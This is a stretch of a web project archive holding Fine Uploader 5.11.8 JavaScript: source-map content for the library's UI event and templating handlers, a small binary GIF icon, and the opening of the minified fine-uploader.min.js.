this.allowPause(id);\n            show(getSpinner(id));\n        },\n\n        showDeleteButton: function(id) {\n            show(getDelete(id));\n        },\n\n        hideDeleteButton: function(id) {\n            hide(getDelete(id));\n        },\n\n        isDeleteButton: function(el) {\n            return qq(el).hasClass(selectorClasses.deleteButton, true);\n        },\n\n        isRetry: function(el) {\n            return qq(el).hasClass(selectorClasses.retry, true);\n        },\n\n        updateSize: function(id, text) {\n            var size = getSize(id);\n\n            if (size) {\n                show(size);\n                qq(size).setText(text);\n            }\n        },\n\n        setStatusText: function(id, text) {\n            var textEl = getTemplateEl(getFile(id), selectorClasses.statusText);\n\n            if (textEl) {\n                /*jshint -W116*/\n                if (text == null) {\n                    qq(textEl).clearText();\n                }\n                else {\n                    qq(textEl).setText(text);\n                }\n            }\n        },\n\n        hideSpinner: function(id) {\n            qq(getFile(id)).removeClass(IN_PROGRESS_CLASS);\n            hide(getSpinner(id));\n        },\n\n        showSpinner: function(id) {\n            qq(getFile(id)).addClass(IN_PROGRESS_CLASS);\n            show(getSpinner(id));\n        },\n\n        generatePreview: function(id, optFileOrBlob, customResizeFunction) {\n            if (!this.isHiddenForever(id)) {\n                thumbGenerationQueue.push({id: id, customResizeFunction: customResizeFunction, optFileOrBlob: optFileOrBlob});\n                !thumbnailQueueMonitorRunning && generateNextQueuedPreview();\n            }\n        },\n\n        updateThumbnail: function(id, thumbnailUrl, showWaitingImg, customResizeFunction) {\n            if (!this.isHiddenForever(id)) {\n                thumbGenerationQueue.push({customResizeFunction: customResizeFunction, update: true, id: id, thumbnailUrl: thumbnailUrl, showWaitingImg: showWaitingImg});\n                !thumbnailQueueMonitorRunning && generateNextQueuedPreview();\n            }\n        },\n\n        hasDialog: function(type) {\n            return qq.supportedFeatures.dialogElement && !!getDialog(type);\n        },\n\n        showDialog: function(type, message, defaultValue) {\n            var dialog = getDialog(type),\n                messageEl = getTemplateEl(dialog, selectorClasses.dialogMessage),\n                inputEl = dialog.getElementsByTagName(\"INPUT\")[0],\n                cancelBtn = getTemplateEl(dialog, selectorClasses.dialogCancelButton),\n                okBtn = getTemplateEl(dialog, selectorClasses.dialogOkButton),\n                promise = new qq.Promise(),\n\n                closeHandler = function() {\n                    cancelBtn.removeEventListener(\"click\", cancelClickHandler);\n                    okBtn && okBtn.removeEventListener(\"click\", okClickHandler);\n                    promise.failure();\n                },\n\n                cancelClickHandler = function() {\n                    cancelBtn.removeEventListener(\"click\", cancelClickHandler);\n                    dialog.close();\n                },\n\n                okClickHandler = function() {\n                    dialog.removeEventListener(\"close\", closeHandler);\n                    okBtn.removeEventListener(\"click\", okClickHandler);\n                    dialog.close();\n\n                    promise.success(inputEl && inputEl.value);\n                };\n\n            dialog.addEventListener(\"close\", closeHandler);\n            cancelBtn.addEventListener(\"click\", cancelClickHandler);\n            okBtn && okBtn.addEventListener(\"click\", okClickHandler);\n\n            if (inputEl) {\n                inputEl.value = defaultValue;\n            }\n            messageEl.textContent = message;\n\n            dialog.showModal();\n\n            return promise;\n        }\n    });\n};\n","/*globals qq */\n// Base handler for UI (FineUploader mode) events.\n// Some more specific handlers inherit from this one.\nqq.UiEventHandler = function(s, protectedApi) {\n    \"use strict\";\n\n    var disposer = new qq.DisposeSupport(),\n        spec = {\n            eventType: \"click\",\n            attachTo: null,\n            onHandled: function(target, event) {}\n        };\n\n    // This makes up the \"public\" API methods that will be accessible\n    // to instances constructing a base or child handler\n    qq.extend(this, {\n        addHandler: function(element) {\n            addHandler(element);\n        },\n\n        dispose: function() {\n            disposer.dispose();\n        }\n    });\n\n    function addHandler(element) {\n        disposer.attach(element, spec.eventType, function(event) {\n            // Only in IE: the `event` is a property of the `window`.\n            event = event || window.event;\n\n            // On older browsers, we must check the `srcElement` instead of the `target`.\n            var target = event.target || event.srcElement;\n\n            spec.onHandled(target, event);\n        });\n    }\n\n    // These make up the \"protected\" API methods that children of this base handler will utilize.\n    qq.extend(protectedApi, {\n        getFileIdFromItem: function(item) {\n            return item.qqFileId;\n        },\n\n        getDisposeSupport: function() {\n            return disposer;\n        }\n    });\n\n    qq.extend(spec, s);\n\n    if (spec.attachTo) {\n        addHandler(spec.attachTo);\n    }\n};\n","/* global qq */\nqq.FileButtonsClickHandler = function(s) {\n    \"use strict\";\n\n    var inheritedInternalApi = {},\n        spec = {\n            templating: null,\n            log: function(message, lvl) {},\n            onDeleteFile: function(fileId) {},\n            onCancel: function(fileId) {},\n            onRetry: function(fileId) {},\n            onPause: function(fileId) {},\n            onContinue: function(fileId) {},\n            onGetName: function(fileId) {}\n        },\n        buttonHandlers = {\n            cancel: function(id) { spec.onCancel(id); },\n            retry:  function(id) { spec.onRetry(id); },\n            deleteButton: function(id) { spec.onDeleteFile(id); },\n            pause: function(id) { spec.onPause(id); },\n            continueButton: function(id) { spec.onContinue(id); }\n        };\n\n    function examineEvent(target, event) {\n        qq.each(buttonHandlers, function(buttonType, handler) {\n            var firstLetterCapButtonType = buttonType.charAt(0).toUpperCase() + buttonType.slice(1),\n                fileId;\n\n            if (spec.templating[\"is\" + firstLetterCapButtonType](target)) {\n                fileId = spec.templating.getFileId(target);\n                qq.preventDefault(event);\n                spec.log(qq.format(\"Detected valid file button click event on file '{}', ID: {}.\", spec.onGetName(fileId), fileId));\n                handler(fileId);\n                return false;\n            }\n        });\n    }\n\n    qq.extend(spec, s);\n\n    spec.eventType = \"click\";\n    spec.onHandled = examineEvent;\n    spec.attachTo = spec.templating.getFileList();\n\n    qq.extend(this, new qq.UiEventHandler(spec, inheritedInternalApi));\n};\n","/*globals qq */\n// Child of FilenameEditHandler.  Used to detect click events on filename display elements.\nqq.FilenameClickHandler = function(s) {\n    \"use strict\";\n\n    var inheritedInternalApi = {},\n        spec = {\n            templating: null,\n            log: function(message, lvl) {},\n            classes: {\n                file: \"qq-upload-file\",\n                editNameIcon: \"qq-edit-filename-icon\"\n            },\n            onGetUploadStatus: function(fileId) {},\n            onGetName: function(fileId) {}\n        };\n\n    qq.extend(spec, s);\n\n    // This will be called by the parent handler when a `click` event is received on the list element.\n    function examineEvent(target, event) {\n        if (spec.templating.isFileName(target) || spec.templating.isEditIcon(target)) {\n            var fileId = spec.templating.getFileId(target),\n                status = spec.onGetUploadStatus(fileId);\n\n            // We only allow users to change filenames of files that have been submitted but not yet uploaded.\n            if (status === qq.status.SUBMITTED) {\n                spec.log(qq.format(\"Detected valid filename click event on file '{}', ID: {}.\", spec.onGetName(fileId), fileId));\n                qq.preventDefault(event);\n\n                inheritedInternalApi.handleFilenameEdit(fileId, target, true);\n            }\n        }\n    }\n\n    spec.eventType = \"click\";\n    spec.onHandled = examineEvent;\n\n    qq.extend(this, new qq.FilenameEditHandler(spec, inheritedInternalApi));\n};\n","/*globals qq */\n// Child of FilenameEditHandler.  Used to detect focusin events on file edit input elements.\nqq.FilenameInputFocusInHandler = function(s, inheritedInternalApi) {\n    \"use strict\";\n\n    var spec = {\n            templating: null,\n            onGetUploadStatus: function(fileId) {},\n            log: function(message, lvl) {}\n        };\n\n    if (!inheritedInternalApi) {\n        inheritedInternalApi = {};\n    }\n\n    // This will be called by the parent handler when a `focusin` event is received on the list element.\n    function handleInputFocus(target, event) {\n        if (spec.templating.isEditInput(target)) {\n            var fileId = spec.templating.getFileId(target),\n                status = spec.onGetUploadStatus(fileId);\n\n            if (status === qq.status.SUBMITTED) {\n                spec.log(qq.format(\"Detected valid filename input focus event on file '{}', ID: {}.\", spec.onGetName(fileId), fileId));\n                inheritedInternalApi.handleFilenameEdit(fileId, target);\n            }\n        }\n    }\n\n    spec.eventType = \"focusin\";\n    spec.onHandled = handleInputFocus;\n\n    qq.extend(spec, s);\n    qq.extend(this, new qq.FilenameEditHandler(spec, inheritedInternalApi));\n};\n","/*globals qq */\n/**\n * Child of FilenameInputFocusInHandler.  Used to detect focus events on file edit input elements.  This child module is only\n * needed for UAs that do not support the focusin event.  Currently, only Firefox lacks this event.\n *\n * @param spec Overrides for default specifications\n */\nqq.FilenameInputFocusHandler = function(spec) {\n    \"use strict\";\n\n    spec.eventType = \"focus\";\n    spec.attachTo = null;\n\n    qq.extend(this, new qq.FilenameInputFocusInHandler(spec, {}));\n};\n","/*globals qq */\n// Handles edit-related events on a file item (FineUploader mode).  This is meant to be a parent handler.\n// Children will delegate to this handler when specific edit-related actions are detected.\nqq.FilenameEditHandler = function(s, inheritedInternalApi) {\n    \"use strict\";\n\n    var spec = {\n            templating: null,\n            log: function(message, lvl) {},\n            onGetUploadStatus: function(fileId) {},\n            onGetName: function(fileId) {},\n            onSetName: function(fileId, newName) {},\n            onEditingStatusChange: function(fileId, isEditing) {}\n        };\n\n    function getFilenameSansExtension(fileId) {\n        var filenameSansExt = spec.onGetName(fileId),\n            extIdx = filenameSansExt.lastIndexOf(\".\");\n\n        if (extIdx > 0) {\n            filenameSansExt = filenameSansExt.substr(0, extIdx);\n        }\n\n        return filenameSansExt;\n    }\n\n    function getOriginalExtension(fileId) {\n        var origName = spec.onGetName(fileId);\n        return qq.getExtension(origName);\n    }\n\n    // Callback iff the name has been changed\n    function handleNameUpdate(newFilenameInputEl, fileId) {\n        var newName = newFilenameInputEl.value,\n            origExtension;\n\n        if (newName !== undefined && qq.trimStr(newName).length > 0) {\n            origExtension = getOriginalExtension(fileId);\n\n            if (origExtension !== undefined) {\n                newName = newName + \".\" + origExtension;\n            }\n\n            spec.onSetName(fileId, newName);\n        }\n\n        spec.onEditingStatusChange(fileId, false);\n    }\n\n    // The name has been updated if the filename edit input loses focus.\n    function registerInputBlurHandler(inputEl, fileId) {\n        inheritedInternalApi.getDisposeSupport().attach(inputEl, \"blur\", function() {\n            handleNameUpdate(inputEl, fileId);\n        });\n    }\n\n    // The name has been updated if the user presses enter.\n    function registerInputEnterKeyHandler(inputEl, fileId) {\n        inheritedInternalApi.getDisposeSupport().attach(inputEl, \"keyup\", function(event) {\n\n            var code = event.keyCode || event.which;\n\n            if (code === 13) {\n                handleNameUpdate(inputEl, fileId);\n            }\n        });\n    }\n\n    qq.extend(spec, s);\n\n    spec.attachTo = spec.templating.getFileList();\n\n    qq.extend(this, new qq.UiEventHandler(spec, inheritedInternalApi));\n\n    qq.extend(inheritedInternalApi, {\n        handleFilenameEdit: function(id, target, focusInput) {\n            var newFilenameInputEl = spec.templating.getEditInput(id);\n\n            spec.onEditingStatusChange(id, true);\n\n            newFilenameInputEl.value = getFilenameSansExtension(id);\n\n            if (focusInput) {\n                newFilenameInputEl.focus();\n            }\n\n            registerInputBlurHandler(newFilenameInputEl, id);\n            registerInputEnterKeyHandler(newFilenameInputEl, id);\n        }\n    });\n};\n"]}js/fileupload/pause.gif000060400000000216150710775200011107 0ustar00GIF89a������ٿ��@@@fff������333���!�,;�I���Uv�!aF�J�뙎���u;�M����B	�D,m�t�@��$;js/fileupload/fine-uploader.min.js000060400000423461150710775200013170 0ustar00// Fine Uploader 5.11.8 - (c) 2013-present Widen Enterprises, Inc. MIT licensed. http://fineuploader.com
!function(global){var qq=function(e){"use strict";return{hide:function(){return e.style.display="none",this},attach:function(t,n){return e.addEventListener?e.addEventListener(t,n,!1):e.attachEvent&&e.attachEvent("on"+t,n),function(){qq(e).detach(t,n)}},detach:function(t,n){return e.removeEventListener?e.removeEventListener(t,n,!1):e.attachEvent&&e.detachEvent("on"+t,n),this},contains:function(t){return!!t&&(e===t||(e.contains?e.contains(t):!!(8&t.compareDocumentPosition(e))))},insertBefore:function(t){return t.parentNode.insertBefore(e,t),this},remove:function(){return e.parentNode.removeChild(e),this},css:function(t){if(null==e.style)throw new qq.Error("Can't apply style to node as it is not on the HTMLElement prototype chain!");return null!=t.opacity&&"string"!=typeof e.style.opacity&&"undefined"!=typeof e.filters&&(t.filter="alpha(opacity="+Math.round(100*t.opacity)+")"),qq.extend(e.style,t),this},hasClass:function(t,n){var i=new RegExp("(^| )"+t+"( |$)");return i.test(e.className)||!(!n||!i.test(e.parentNode.className))},addClass:function(t){return qq(e).hasClass(t)||(e.className+=" "+t),this},removeClass:function(t){var n=new RegExp("(^| )"+t+"( |$)");return e.className=e.className.replace(n," ").replace(/^\s+|\s+$/g,""),this},getByClass:function(t,n){var i,o=[];return n&&e.querySelector?e.querySelector("."+t):e.querySelectorAll?e.querySelectorAll("."+t):(i=e.getElementsByTagName("*"),qq.each(i,function(e,n){qq(n).hasClass(t)&&o.push(n)}),n?o[0]:o)},getFirstByClass:function(t){return qq(e).getByClass(t,!0)},children:function(){for(var t=[],n=e.firstChild;n;)1===n.nodeType&&t.push(n),n=n.nextSibling;return t},setText:function(t){return e.innerText=t,e.textContent=t,this},clearText:function(){return qq(e).setText("")},hasAttribute:function(t){var n;return e.hasAttribute?!!e.hasAttribute(t)&&null==/^false$/i.exec(e.getAttribute(t)):(n=e[t],void 0!==n&&null==/^false$/i.exec(n))}}};!function(){"use strict";qq.canvasToBlob=function(e,t,n){return qq.dataUriToBlob(e.toDataURL(t,n))},qq.dataUriToBlob=function(e){var t,n,i,o,r=function(e,t){var n=window.BlobBuilder||window.WebKitBlobBuilder||window.MozBlobBuilder||window.MSBlobBuilder,i=n&&new n;return i?(i.append(e),i.getBlob(t)):new Blob([e],{type:t})};return n=e.split(",")[0].indexOf("base64")>=0?atob(e.split(",")[1]):decodeURI(e.split(",")[1]),o=e.split(",")[0].split(":")[1].split(";")[0],t=new ArrayBuffer(n.length),i=new Uint8Array(t),qq.each(n,function(e,t){i[e]=t.charCodeAt(0)}),r(t,o)},qq.log=function(e,t){window.console&&(t&&"info"!==t?window.console[t]?window.console[t](e):window.console.log("<"+t+"> "+e):window.console.log(e))},qq.isObject=function(e){return e&&!e.nodeType&&"[object Object]"===Object.prototype.toString.call(e)},qq.isFunction=function(e){return"function"==typeof e},qq.isArray=function(e){return"[object Array]"===Object.prototype.toString.call(e)||e&&window.ArrayBuffer&&e.buffer&&e.buffer.constructor===ArrayBuffer},qq.isItemList=function(e){return"[object DataTransferItemList]"===Object.prototype.toString.call(e)},qq.isNodeList=function(e){return"[object NodeList]"===Object.prototype.toString.call(e)||e.item&&e.namedItem},qq.isString=function(e){return"[object String]"===Object.prototype.toString.call(e)},qq.trimStr=function(e){return String.prototype.trim?e.trim():e.replace(/^\s+|\s+$/g,"")},qq.format=function(e){var t=Array.prototype.slice.call(arguments,1),n=e,i=n.indexOf("{}");return qq.each(t,function(e,t){var o=n.substring(0,i),r=n.substring(i+2);if(n=o+t+r,i=n.indexOf("{}",i+t.length),i<0)return!1}),n},qq.isFile=function(e){return window.File&&"[object File]"===Object.prototype.toString.call(e)},qq.isFileList=function(e){return window.FileList&&"[object FileList]"===Object.prototype.toString.call(e)},qq.isFileOrInput=function(e){return qq.isFile(e)||qq.isInput(e)},qq.isInput=function(e,t){var n=function(e){var n=e.toLowerCase();return t?"file"!==n:"file"===n};return!!(window.HTMLInputElement&&"[object HTMLInputElement]"===Object.prototype.toString.call(e)&&e.type&&n(e.type))||!!(e.tagName&&"input"===e.tagName.toLowerCase()&&e.type&&n(e.type))},qq.isBlob=function(e){if(window.Blob&&"[object Blob]"===Object.prototype.toString.call(e))return!0},qq.isXhrUploadSupported=function(){var e=document.createElement("input");return e.type="file",void 0!==e.multiple&&"undefined"!=typeof File&&"undefined"!=typeof FormData&&"undefined"!=typeof qq.createXhrInstance().upload},qq.createXhrInstance=function(){if(window.XMLHttpRequest)return new XMLHttpRequest;try{return new ActiveXObject("MSXML2.XMLHTTP.3.0")}catch(e){return qq.log("Neither XHR or ActiveX are supported!","error"),null}},qq.isFolderDropSupported=function(e){return e.items&&e.items.length>0&&e.items[0].webkitGetAsEntry},qq.isFileChunkingSupported=function(){return!qq.androidStock()&&qq.isXhrUploadSupported()&&(void 0!==File.prototype.slice||void 0!==File.prototype.webkitSlice||void 0!==File.prototype.mozSlice)},qq.sliceBlob=function(e,t,n){var i=e.slice||e.mozSlice||e.webkitSlice;return i.call(e,t,n)},qq.arrayBufferToHex=function(e){var t="",n=new Uint8Array(e);return qq.each(n,function(e,n){var i=n.toString(16);i.length<2&&(i="0"+i),t+=i}),t},qq.readBlobToHex=function(e,t,n){var i=qq.sliceBlob(e,t,t+n),o=new FileReader,r=new qq.Promise;return o.onload=function(){r.success(qq.arrayBufferToHex(o.result))},o.onerror=r.failure,o.readAsArrayBuffer(i),r},qq.extend=function(e,t,n){return qq.each(t,function(t,i){n&&qq.isObject(i)?(void 0===e[t]&&(e[t]={}),qq.extend(e[t],i,!0)):e[t]=i}),e},qq.override=function(e,t){var n={},i=t(n);return qq.each(i,function(t,i){void 0!==e[t]&&(n[t]=e[t]),e[t]=i}),e},qq.indexOf=function(e,t,n){if(e.indexOf)return e.indexOf(t,n);n=n||0;var i=e.length;for(n<0&&(n+=i);n<i;n+=1)if(e.hasOwnProperty(n)&&e[n]===t)return n;return-1},qq.getUniqueId=function(){return"xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g,function(e){var t=16*Math.random()|0,n="x"==e?t:3&t|8;return n.toString(16)})},qq.ie=function(){return navigator.userAgent.indexOf("MSIE")!==-1||navigator.userAgent.indexOf("Trident")!==-1},qq.ie7=function(){return navigator.userAgent.indexOf("MSIE 7")!==-1},qq.ie8=function(){return navigator.userAgent.indexOf("MSIE 8")!==-1},qq.ie10=function(){return navigator.userAgent.indexOf("MSIE 10")!==-1},qq.ie11=function(){return qq.ie()&&navigator.userAgent.indexOf("rv:11")!==-1},qq.edge=function(){return navigator.userAgent.indexOf("Edge")>=0},qq.safari=function(){return void 0!==navigator.vendor&&navigator.vendor.indexOf("Apple")!==-1},qq.chrome=function(){return void 0!==navigator.vendor&&navigator.vendor.indexOf("Google")!==-1},qq.opera=function(){return void 0!==navigator.vendor&&navigator.vendor.indexOf("Opera")!==-1},qq.firefox=function(){return!qq.edge()&&!qq.ie11()&&navigator.userAgent.indexOf("Mozilla")!==-1&&void 0!==navigator.vendor&&""===navigator.vendor},qq.windows=function(){return"Win32"===navigator.platform},qq.android=function(){return navigator.userAgent.toLowerCase().indexOf("android")!==-1},qq.androidStock=function(){return qq.android()&&navigator.userAgent.toLowerCase().indexOf("chrome")<0},qq.ios6=function(){return qq.ios()&&navigator.userAgent.indexOf(" OS 6_")!==-1},qq.ios7=function(){return qq.ios()&&navigator.userAgent.indexOf(" OS 7_")!==-1},qq.ios8=function(){return qq.ios()&&navigator.userAgent.indexOf(" OS 8_")!==-1},qq.ios800=function(){return qq.ios()&&navigator.userAgent.indexOf(" OS 8_0 ")!==-1},qq.ios=function(){return navigator.userAgent.indexOf("iPad")!==-1||navigator.userAgent.indexOf("iPod")!==-1||navigator.userAgent.indexOf("iPhone")!==-1},qq.iosChrome=function(){return qq.ios()&&navigator.userAgent.indexOf("CriOS")!==-1},qq.iosSafari=function(){return qq.ios()&&!qq.iosChrome()&&navigator.userAgent.indexOf("Safari")!==-1},qq.iosSafariWebView=function(){return qq.ios()&&!qq.iosChrome()&&!qq.iosSafari()},qq.preventDefault=function(e){e.preventDefault?e.preventDefault():e.returnValue=!1},qq.toElement=function(){var e=document.createElement("div");return function(t){e.innerHTML=t;var n=e.firstChild;return e.removeChild(n),n}}(),qq.each=function(e,t){var n,i;if(e)if(window.Storage&&e.constructor===window.Storage)for(n=0;n<e.length&&(i=t(e.key(n),e.getItem(e.key(n))),i!==!1);n++);else if(qq.isArray(e)||qq.isItemList(e)||qq.isNodeList(e))for(n=0;n<e.length&&(i=t(n,e[n]),i!==!1);n++);else if(qq.isString(e))for(n=0;n<e.length&&(i=t(n,e.charAt(n)),i!==!1);n++);else for(n in e)if(Object.prototype.hasOwnProperty.call(e,n)&&(i=t(n,e[n]),i===!1))break},qq.bind=function(e,t){if(qq.isFunction(e)){var n=Array.prototype.slice.call(arguments,2);return function(){var i=qq.extend([],n);return arguments.length&&(i=i.concat(Array.prototype.slice.call(arguments))),e.apply(t,i)}}throw new Error("first parameter must be a function!")},qq.obj2url=function(e,t,n){var i=[],o="&",r=function(e,n){var o=t?/\[\]$/.test(t)?t:t+"["+n+"]":n;"undefined"!==o&&"undefined"!==n&&i.push("object"==typeof e?qq.obj2url(e,o,!0):"[object Function]"===Object.prototype.toString.call(e)?encodeURIComponent(o)+"="+encodeURIComponent(e()):encodeURIComponent(o)+"="+encodeURIComponent(e))};return!n&&t?(o=/\?/.test(t)?/\?$/.test(t)?"":"&":"?",i.push(t),i.push(qq.obj2url(e))):"[object Array]"===Object.prototype.toString.call(e)&&"undefined"!=typeof e?qq.each(e,function(e,t){r(t,e)}):"undefined"!=typeof e&&null!==e&&"object"==typeof e?qq.each(e,function(e,t){r(t,e)}):i.push(encodeURIComponent(t)+"="+encodeURIComponent(e)),t?i.join(o):i.join(o).replace(/^&/,"").replace(/%20/g,"+")},qq.obj2FormData=function(e,t,n){return t||(t=new FormData),qq.each(e,function(e,i){e=n?n+"["+e+"]":e,qq.isObject(i)?qq.obj2FormData(i,t,e):qq.isFunction(i)?t.append(e,i()):t.append(e,i)}),t},qq.obj2Inputs=function(e,t){var n;return t||(t=document.createElement("form")),qq.obj2FormData(e,{append:function(e,i){n=document.createElement("input"),n.setAttribute("name",e),n.setAttribute("value",i),t.appendChild(n)}}),t},qq.parseJson=function(json){return window.JSON&&qq.isFunction(JSON.parse)?JSON.parse(json):eval("("+json+")")},qq.getExtension=function(e){var t=e.lastIndexOf(".")+1;if(t>0)return e.substr(t,e.length-t)},qq.getFilename=function(e){return qq.isInput(e)?e.value.replace(/.*(\/|\\)/,""):qq.isFile(e)&&null!==e.fileName&&void 0!==e.fileName?e.fileName:e.name},qq.DisposeSupport=function(){var e=[];return{dispose:function(){var t;do t=e.shift(),t&&t();while(t)},attach:function(){var e=arguments;this.addDisposer(qq(e[0]).attach.apply(this,Array.prototype.slice.call(arguments,1)))},addDisposer:function(t){e.push(t)}}}}(),function(){"use strict";"function"==typeof define&&define.amd?define(function(){return qq}):"undefined"!=typeof module&&module.exports?module.exports=qq:global.qq=qq}(),function(){"use strict";qq.Error=function(e){this.message="[Fine Uploader "+qq.version+"] "+e},qq.Error.prototype=new Error}(),qq.version="5.11.8",qq.supportedFeatures=function(){"use strict";function e(){var e,t=!0;try{e=document.createElement("input"),e.type="file",qq(e).hide(),e.disabled&&(t=!1)}catch(e){t=!1}return t}function t(){return(qq.chrome()||qq.opera())&&void 0!==navigator.userAgent.match(/Chrome\/[2][1-9]|Chrome\/[3-9][0-9]/)}function n(){return(qq.chrome()||qq.opera())&&void 0!==navigator.userAgent.match(/Chrome\/[1][4-9]|Chrome\/[2-9][0-9]/)}function i(){if(window.XMLHttpRequest){var e=qq.createXhrInstance();return void 0!==e.withCredentials}return!1}function o(){return void 0!==window.XDomainRequest}function r(){return!!i()||o()}function a(){return void 0!==document.createElement("input").webkitdirectory}function s(){try{return!!window.localStorage&&qq.isFunction(window.localStorage.setItem)}catch(e){return!1}}function l(){var e=document.createElement("span");return("draggable"in e||"ondragstart"in e&&"ondrop"in e)&&!qq.android()&&!qq.ios()}var u,c,d,p,h,q,f,m,g,_,b,v,y,S,w;return u=e(),p=u&&qq.isXhrUploadSupported(),c=p&&!qq.androidStock(),d=p&&l(),h=d&&t(),q=p&&qq.isFileChunkingSupported(),f=p&&q&&s(),m=p&&n(),g=u&&(void 0!==window.postMessage||p),b=i(),_=o(),v=r(),y=a(),S=p&&void 0!==window.FileReader,w=function(){return!!p&&(!qq.androidStock()&&!qq.iosChrome())}(),{ajaxUploading:p,blobUploading:c,canDetermineSize:p,chunking:q,deleteFileCors:v,deleteFileCorsXdr:_,deleteFileCorsXhr:b,dialogElement:!!window.HTMLDialogElement,fileDrop:d,folderDrop:h,folderSelection:y,imagePreviews:S,imageValidation:S,itemSizeValidation:p,pause:q,progressBar:w,resume:f,scaling:S&&c,tiffPreviews:qq.safari(),unlimitedScaledImageSize:!qq.ios(),uploading:u,uploadCors:g,uploadCustomHeaders:p,uploadNonMultipart:p,uploadViaPaste:m}}(),qq.isGenericPromise=function(e){"use strict";return!!(e&&e.then&&qq.isFunction(e.then))},qq.Promise=function(){"use strict";var e,t,n=[],i=[],o=[],r=0;qq.extend(this,{then:function(o,a){return 0===r?(o&&n.push(o),a&&i.push(a)):r===-1?a&&a.apply(null,t):o&&o.apply(null,e),this},done:function(n){return 0===r?o.push(n):n.apply(null,void 0===t?e:t),this},success:function(){return r=1,e=arguments,n.length&&qq.each(n,function(t,n){n.apply(null,e)}),o.length&&qq.each(o,function(t,n){n.apply(null,e)}),this},failure:function(){return r=-1,t=arguments,i.length&&qq.each(i,function(e,n){n.apply(null,t)}),o.length&&qq.each(o,function(e,n){n.apply(null,t)}),this}})},qq.BlobProxy=function(e,t){"use strict";qq.extend(this,{referenceBlob:e,create:function(){return t(e)}})},qq.UploadButton=function(e){"use strict";function t(){var e=document.createElement("input");return e.setAttribute(qq.UploadButton.BUTTON_ID_ATTR_NAME,i),e.setAttribute("title",a.title),o.setMultiple(a.multiple,e),a.folders&&qq.supportedFeatures.folderSelection&&e.setAttribute("webkitdirectory",""),a.acceptFiles&&e.setAttribute("accept",a.acceptFiles),e.setAttribute("type","file"),e.setAttribute("name",a.name),qq(e).css({position:"absolute",right:0,top:0,fontFamily:"Arial",fontSize:qq.ie()&&!qq.ie8()?"3500px":"118px",margin:0,padding:0,cursor:"pointer",opacity:0}),!qq.ie7()&&qq(e).css({height:"100%"}),a.element.appendChild(e),r.attach(e,"change",function(){a.onChange(e)}),r.attach(e,"mouseover",function(){qq(a.element).addClass(a.hoverClass)}),r.attach(e,"mouseout",function(){qq(a.element).removeClass(a.hoverClass)}),r.attach(e,"focus",function(){qq(a.element).addClass(a.focusClass)}),r.attach(e,"blur",function(){qq(a.element).removeClass(a.focusClass)}),e}var n,i,o=this,r=new qq.DisposeSupport,a={acceptFiles:null,element:null,focusClass:"qq-upload-button-focus",folders:!1,hoverClass:"qq-upload-button-hover",ios8BrowserCrashWorkaround:!1,multiple:!1,name:"qqfile",onChange:function(e){},title:null};qq.extend(a,e),i=qq.getUniqueId(),qq(a.element).css({position:"relative",overflow:"hidden",direction:"ltr"}),qq.extend(this,{getInput:function(){return n},getButtonId:function(){return i},setMultiple:function(e,t){var n=t||this.getInput();a.ios8BrowserCrashWorkaround&&qq.ios8()&&(qq.iosChrome()||qq.iosSafariWebView())?n.setAttribute("multiple",""):e?n.setAttribute("multiple",""):n.removeAttribute("multiple")},setAcceptFiles:function(e){e!==a.acceptFiles&&n.setAttribute("accept",e)},reset:function(){n.parentNode&&qq(n).remove(),qq(a.element).removeClass(a.focusClass),n=null,n=t()}}),n=t()},qq.UploadButton.BUTTON_ID_ATTR_NAME="qq-button-id",qq.UploadData=function(e){"use strict";function t(e){if(qq.isArray(e)){var t=[];return qq.each(e,function(e,n){t.push(o[n])}),t}return o[e]}function n(e){if(qq.isArray(e)){var t=[];return qq.each(e,function(e,n){t.push(o[r[n]])}),t}return o[r[e]]}function i(e){var t=[],n=[].concat(e);return qq.each(n,function(e,n){var i=a[n];void 0!==i&&qq.each(i,function(e,n){t.push(o[n])})}),t}var o=[],r={},a={},s={},l={};qq.extend(this,{addFile:function(t){var n=t.status||qq.status.SUBMITTING,i=o.push({name:t.name,originalName:t.name,uuid:t.uuid,size:null==t.size?-1:t.size,status:n})-1;return t.batchId&&(o[i].batchId=t.batchId,void 0===l[t.batchId]&&(l[t.batchId]=[]),l[t.batchId].push(i)),t.proxyGroupId&&(o[i].proxyGroupId=t.proxyGroupId,void 0===s[t.proxyGroupId]&&(s[t.proxyGroupId]=[]),s[t.proxyGroupId].push(i)),o[i].id=i,r[t.uuid]=i,void 0===a[n]&&(a[n]=[]),a[n].push(i),e.onStatusChange(i,null,n),i},retrieve:function(e){return qq.isObject(e)&&o.length?void 0!==e.id?t(e.id):void 0!==e.uuid?n(e.uuid):e.status?i(e.status):void 0:qq.extend([],o,!0)},reset:function(){o=[],r={},a={},l={}},setStatus:function(t,n){var i=o[t].status,r=qq.indexOf(a[i],t);a[i].splice(r,1),o[t].status=n,void 0===a[n]&&(a[n]=[]),a[n].push(t),e.onStatusChange(t,i,n)},uuidChanged:function(e,t){var n=o[e].uuid;o[e].uuid=t,r[t]=e,delete r[n]},updateName:function(e,t){o[e].name=t},updateSize:function(e,t){o[e].size=t},setParentId:function(e,t){o[e].parentId=t},getIdsInProxyGroup:function(e){var t=o[e].proxyGroupId;return t?s[t]:[]},getIdsInBatch:function(e){var t=o[e].batchId;return l[t]}})},qq.status={SUBMITTING:"submitting",SUBMITTED:"submitted",REJECTED:"rejected",QUEUED:"queued",CANCELED:"canceled",PAUSED:"paused",UPLOADING:"uploading",UPLOAD_RETRYING:"retrying upload",UPLOAD_SUCCESSFUL:"upload successful",UPLOAD_FAILED:"upload failed",DELETE_FAILED:"delete failed",DELETING:"deleting",DELETED:"deleted"},function(){"use strict";qq.basePublicApi={addBlobs:function(e,t,n){this.addFiles(e,t,n)},addInitialFiles:function(e){var t=this;qq.each(e,function(e,n){t._addCannedFile(n)})},addFiles:function(e,t,n){this._maybeHandleIos8SafariWorkaround();var i=0===this._storedIds.length?qq.getUniqueId():this._currentBatchId,o=qq.bind(function(e){this._handleNewFile({blob:e,name:this._options.blobs.defaultName},i,d)},this),r=qq.bind(function(e){this._handleNewFile(e,i,d)},this),a=qq.bind(function(e){var t=qq.canvasToBlob(e);this._handleNewFile({blob:t,name:this._options.blobs.defaultName+".png"},i,d)},this),s=qq.bind(function(e){var t=e.quality&&e.quality/100,n=qq.canvasToBlob(e.canvas,e.type,t);this._handleNewFile({blob:n,name:e.name},i,d)},this),l=qq.bind(function(e){if(qq.isInput(e)&&qq.supportedFeatures.ajaxUploading){var t=Array.prototype.slice.call(e.files),n=this;qq.each(t,function(e,t){n._handleNewFile(t,i,d)})}else 